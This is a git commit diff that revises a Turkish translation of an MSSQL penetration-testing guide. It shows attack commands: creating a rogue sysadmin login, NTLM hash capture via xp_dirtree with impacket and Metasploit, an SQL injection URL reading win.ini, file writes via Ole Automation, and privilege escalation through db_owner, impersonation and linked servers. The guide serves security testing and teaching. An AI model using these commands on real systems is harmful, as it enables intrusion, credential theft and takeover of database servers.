Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-

This commit is contained in:
Translator 2024-07-30 11:13:48 +00:00
parent 0c4477cddd
commit d17ede7207

View file

@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
[wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server) kaynağından:
> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve alma işlevine sahip bir yazılım ürünüdür; bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir.\\
> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve geri alma işlevine sahip bir yazılım ürünüdür; bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir.\\
**Varsayılan port:** 1433
```
@ -39,7 +39,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
* **msdb Veritabanı**: SQL Server Agent, uyarılar ve işler için zamanlama yönetimi yapmak üzere bu veritabanını kullanır.
* **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir şablon görevi görür; boyut, sıralama, kurtarma modeli gibi değişiklikler yeni oluşturulan veritabanlarında yansıtılır.
* **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, Resource veritabanında fiziksel olarak saklanırken, her veritabanının sys şemasında mantıksal olarak sunulur.
* **tempdb Veritabanı**: Geçici nesneler veya ara sonuç setleri için geçici bir depolama alanı olarak hizmet eder.
* **tempdb Veritabanı**: Geçici nesneler veya ara sonuç kümleri için geçici bir depolama alanı olarak hizmet eder.
## Sayım
@ -126,6 +126,11 @@ select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
#Enumerate links
enum_links
#Use a link
use_link [NAME]
```
#### Kullanıcı Al
@ -155,7 +160,7 @@ SELECT * FROM sysusers
1. **Securable:** Erişim kontrolü için SQL Server tarafından yönetilen kaynaklar olarak tanımlanır. Bunlar şu şekilde kategorize edilir:
* **Sunucu** Örnekler arasında veritabanları, girişler, uç noktalar, kullanılabilirlik grupları ve sunucu rolleri bulunur.
* **Veritabanı** Örnekler arasında veritabanı rolü, uygulama rolleri, şemalar, sertifikalar, tam metin katalogları ve kullanıcılar yer alır.
* **Veritabanı** Örnekler arasında veritabanı rolleri, uygulama rolleri, şemalar, sertifikalar, tam metin katalogları ve kullanıcılar yer alır.
* **Şema** Tablo, görünüm, prosedür, fonksiyon, eşanlamlılar vb. içerir.
2. **İzin:** SQL Server securables ile ilişkili olan, ALTER, CONTROL ve CREATE gibi izinler bir prensipe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir:
* **Sunucu Seviyesi** girişler kullanılarak
@ -233,7 +238,7 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
Bu MSSQL fonksiyonlarını çalıştırma izinlerine sahip olanların (sysadmin'ler dışında) kimler olduğunu kontrol edebilirsiniz:
Bu MSSQL fonksiyonlarını çalıştırma iznine sahip olanların (sysadmin'ler dışında) kimler olduğunu kontrol edebilirsiniz:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
@ -259,7 +264,7 @@ Bu araçları nasıl kullanacağınızı görebilirsiniz:
### **Dosya Yazma**
`MSSQL` kullanarak dosya yazmak için, **[Ole Automation Procedures](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)**'ı **etkinleştirmemiz** gerekiyor, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı yordamları çalıştırmalıyız:
`MSSQL` kullanarak dosya yazmak için, **Ole Automation Procedures**'ı [**etkinleştirmemiz**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) gerekir, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı yordamları çalıştırmalıyız:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -292,7 +297,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/Read files executing scripts (Python and R)**
### **RCE/Read files executing scripts (Python ve R)**
MSSQL, **Python ve/veya R** ile **scriptler** çalıştırmanıza izin verebilir. Bu kod, **xp\_cmdshell** kullanarak komutları çalıştıran **farklı bir kullanıcı** tarafından yürütülecektir.
@ -319,7 +324,7 @@ GO
Microsoft SQL Server, yalnızca ağla değil, aynı zamanda dosya sistemiyle ve hatta [**Windows Kayıt Defteri**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** ile etkileşimde bulunmanıza olanak tanıyan **birden fazla genişletilmiş saklı yordam** sağlar:**
| **Normal** | **Örnek Bilgisine Duyarlı** |
| --------------------------- | -------------------------------------- |
| ---------------------------- | -------------------------------------- |
| sys.xp\_regread | sys.xp\_instance\_regread |
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
@ -349,13 +354,13 @@ MSSQL içinde **özel fonksiyonlarla bir .NET dll yüklemek** mümkündür. Anca
### Other ways for RCE
Komut yürütmek için [uzatılmış saklı prosedürler](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Derlemeleri](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Görevleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) gibi komut yürütme için başka yöntemler de vardır.
Komut yürütmek için [uzatılmış saklı prosedürler](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Derlemeleri](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent İşleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) gibi komut yürütme yöntemleri de vardır.
## MSSQL Privilege Escalation
### From db\_owner to sysadmin
Eğer bir **normal kullanıcıya** **`db_owner`** rolü, **bir yönetici** kullanıcısına (örneğin **`sa`**) ait olan **veritabanı** üzerinde verilirse ve o veritabanı **`trustworthy`** olarak yapılandırılmışsa, o kullanıcı bu ayrıcalıkları **privesc** için kötüye kullanabilir çünkü orada oluşturulan **saklı prosedürler** sahibi (**admin**) olarak **çalıştırılabilir**.
Eğer bir **normal kullanıcıya** **`db_owner`** rolü, **bir yönetici** kullanıcısına ait olan **veritabanı** üzerinde verilirse (örneğin **`sa`**) ve o veritabanı **`trustworthy`** olarak yapılandırılmışsa, o kullanıcı bu ayrıcalıkları **privesc** için kötüye kullanabilir çünkü orada oluşturulan **saklı prosedürler** sahibi (**admin**) olarak **çalıştırılabilir**.
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -401,7 +406,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
```
### Diğer kullanıcıların taklit edilmesi
SQL Server, **`IMPERSONATE`** adında özel bir izin sunar, bu izin **çalıştıran kullanıcının başka bir kullanıcının veya oturum açma bilgisinin izinlerini almasına olanak tanır**; bu, bağlam sıfırlanana kadar veya oturum sona erene kadar geçerlidir.
SQL Server, **`IMPERSONATE`** adında özel bir izin sunar, bu izin **çalıştıran kullanıcının başka bir kullanıcının** veya oturum açmanın izinlerini almasına **imkan tanır**; bu durum, bağlam sıfırlanana kadar veya oturum sona erene kadar devam eder.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -415,12 +420,17 @@ WHERE a.permission_name = 'IMPERSONATE'
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
```
{% hint style="info" %}
Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara erişimi olup olmadığını kontrol etmelisiniz.
Eğer bir kullanıcıyı taklit edebiliyorsanız, hatta sysadmin olmasa bile, **kullanıcının diğer** **veritabanlarına** veya bağlı sunuculara **erişimi olup olmadığını** kontrol etmelisiniz.
{% endhint %}
Not edin ki, bir kez sysadmin olduğunuzda, başka birini taklit edebilirsiniz:
Not: Bir kez sysadmin olduğunuzda, diğer tüm kullanıcıları taklit edebilirsiniz:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -434,7 +444,7 @@ Bu saldırıyı bir **metasploit** modülü ile gerçekleştirebilirsiniz:
```bash
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
veya bir **PS** scripti ile:
ve bir **PS** script ile:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
@ -444,9 +454,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## SQL Server Bağlı Sunuculardan Parola Çıkarma
## SQL Server Bağlı Sunuculardan Şifreleri Çıkarma
Bir saldırgan, SQL Server Bağlı Sunucularının parolalarını SQL Örneklerinden çıkarabilir ve bunları düz metin olarak elde edebilir, bu da saldırgana hedef üzerinde daha büyük bir hakimiyet sağlamak için kullanılabilecek parolalar verir. Bağlı Sunucular için saklanan parolaları çıkarmak ve şifrelerini çözmek için gereken script [burada](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) bulunabilir.
Bir saldırgan, SQL Server Bağlı Sunucularının şifrelerini SQL Örneklerinden çıkarabilir ve bunları düz metin olarak elde edebilir, bu da saldırgana hedef üzerinde daha büyük bir hakimiyet sağlamak için kullanılabilecek şifreler verir. Bağlı Sunucular için saklanan şifreleri çıkarmak ve şifrelerini çözmek için gereken script [burada](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords) bulunabilir.
Bu istismar için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Öncelikle, makinede Yönetici haklarına sahip olmalısınız veya SQL Server Yapılandırmalarını yönetme yeteneğine sahip olmalısınız.
@ -456,15 +466,15 @@ Bu istismar için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Önc
2. Bir Başlangıç parametresi ekleyin, bu durumda bir izleme bayrağı eklenecektir, bu -T7806'dır.
3. Uzaktan yönetici bağlantısını etkinleştirin.
Bu yapılandırmaları otomatikleştirmek için, [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli scriptleri içermektedir. Her yapılandırma adımı için bir powershell scriptinin yanı sıra, depo ayrıca yapılandırma scriptlerini ve parolaların çıkarılması ve şifrelerinin çözülmesini birleştiren tam bir script de içermektedir.
Bu yapılandırmaları otomatikleştirmek için, [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli scriptleri içermektedir. Her yapılandırma adımı için bir powershell scriptinin yanı sıra, depo ayrıca yapılandırma scriptlerini ve şifrelerin çıkarılması ve şifrelerinin çözülmesini birleştiren tam bir script de içermektedir.
Bu saldırı hakkında daha fazla bilgi için aşağıdaki bağlantılara başvurun: [MSSQL Veritabanı Bağlantı Sunucusu Parolalarını Şifre Çözme](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Bu saldırı hakkında daha fazla bilgi için aşağıdaki bağlantılara başvurun: [MSSQL Veritabanı Bağlantı Sunucusu Şifrelerini Çözme](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[SQL Server Özel Yönetici Bağlantısını Hata Ayıklama](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Yerel Yetki Yükseltme
MSSQL sunucusunu çalıştıran kullanıcı, **SeImpersonatePrivilege** ayrıcalık belirtecini etkinleştirmiş olacaktır.\
MSSQL sunucusunu çalıştıran kullanıcı, **SeImpersonatePrivilege** yetki belirtecini etkinleştirmiş olacaktır.\
Muhtemelen bu 2 sayfadan birini takip ederek **Yöneticiye yükseltebileceksiniz**:
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
@ -488,6 +498,7 @@ Muhtemelen bu 2 sayfadan birini takip ederek **Yöneticiye yükseltebileceksiniz
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>